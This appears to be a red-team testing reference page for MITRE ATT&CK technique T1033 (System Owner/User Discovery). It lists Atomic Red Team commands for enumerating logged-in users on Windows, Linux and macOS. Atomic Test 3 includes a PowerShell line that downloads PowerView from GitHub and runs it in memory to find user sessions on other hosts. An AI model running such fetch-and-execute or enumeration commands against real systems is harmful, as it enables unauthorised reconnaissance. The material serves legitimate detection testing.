cyberstrikeus T1033 System Owner/User Discovery
High-Level Description
Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping. The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from System Owner/User Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Various utilities and commands may acquire this information, including whoami. In macOS and Linux, the currently logged in user can be identified with w and who. On macOS the dscl . list /Users | grep -v '_' command can also be used to enumerate user accounts. Environment variables, such as %USERNAME% and $USER, may also be used to access this information.
On network devices, Network Device CLI commands such as show users and show ssh can be used to display users currently logged into the device.
Kill Chain Phase
- Discovery (TA0007)
Platforms: Linux, macOS, Network Devices, Windows
What to Check
- Identify if System Owner/User Discovery technique is applicable to target environment
- Check Linux systems for indicators of System Owner/User Discovery
- Check macOS systems for indicators of System Owner/User Discovery
- Check Network Devices systems for indicators of System Owner/User Discovery
- Assess detection coverage (1 detection strategies)
How to Test
Atomic Red Team Tests
The following tests are from Atomic Red Team and provide actionable ways to test this technique:
Atomic Test 1: System Owner/User Discovery
Identify System owner or users on an endpoint.
Upon successful execution, cmd.exe will spawn multiple commands against a target host to identify usernames. Output will be via stdout. Additionally, two files will be written to disk - computers.txt and usernames.txt.
Supported Platforms: windows
cmd.exe /C whoami
wmic useraccount get /ALL
quser /SERVER:"#{computer_name}"
quser
qwinsta.exe /server:#{computer_name}
qwinsta.exe
for /F "tokens=1,2" %i in ('qwinsta /server:#{computer_name} ^| findstr "Active Disc"') do @echo %i | find /v "#" | find /v "console" || echo %j > computers.txt
@FOR /F %n in (computers.txt) DO @FOR /F "tokens=1,2" %i in ('qwinsta /server:%n ^| findstr "Active Disc"') do @echo %i | find /v "#" | find /v "console" || echo %j > usernames.txt
Atomic Test 2: System Owner/User Discovery
Identify System owner or users on an endpoint
Upon successful execution, sh will stdout list of usernames.
Supported Platforms: linux, macos
users
w
who
Atomic Test 3: Find computers where user has session - Stealth mode (PowerView)
Find existing user session on other computers. Upon execution, information about any sessions discovered will be displayed.
Supported Platforms: windows
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Invoke-UserHunter -Stealth -Verbose
Atomic Test 4: User Discovery With Env Vars PowerShell Script
Use the PowerShell environment variables to identify the current logged user.
Supported Platforms: windows
[System.Environment]::UserName | Out-File -FilePath .\CurrentactiveUser.txt
$env:UserName | Out-File -FilePath .\CurrentactiveUser.txt -Append
Atomic Test 5: GetCurrent User with PowerShell Script
Use the PowerShell "GetCurrent" method of the WindowsIdentity .NET class to identify the logged user.
Supported Platforms: windows
[System.Security.Principal.WindowsIdentity]::GetCurrent() | Out-File -FilePath .\CurrentUserObject.txt
Manual Testing
If Atomic Red Team tests are not applicable, manually verify the technique by:
Identify Attack Surface: Determine if the target environment is susceptible to System Owner/User Discovery by examining the target platforms (Linux, macOS, Network Devices).
Assess Existing Defenses: Review whether mitigations for T1033 are in place. If defenses are absent or misconfigured, this technique may be exploitable.
Execute Test: Use tools and methods described in the MITRE ATT&CK page and external references below.
Remediation Guide
No specific mitigations documented for this technique.
Detection
Behavioral Detection of User Discovery via Local and Remote Enumeration
Risk Assessment
| Finding | Severity | Impact |
|---|---|---|
| System Owner/User Discovery technique applicable | High | Discovery |
CWE Categories
| CWE ID | Title |
|---|---|
| CWE-200 | Exposure of Sensitive Information |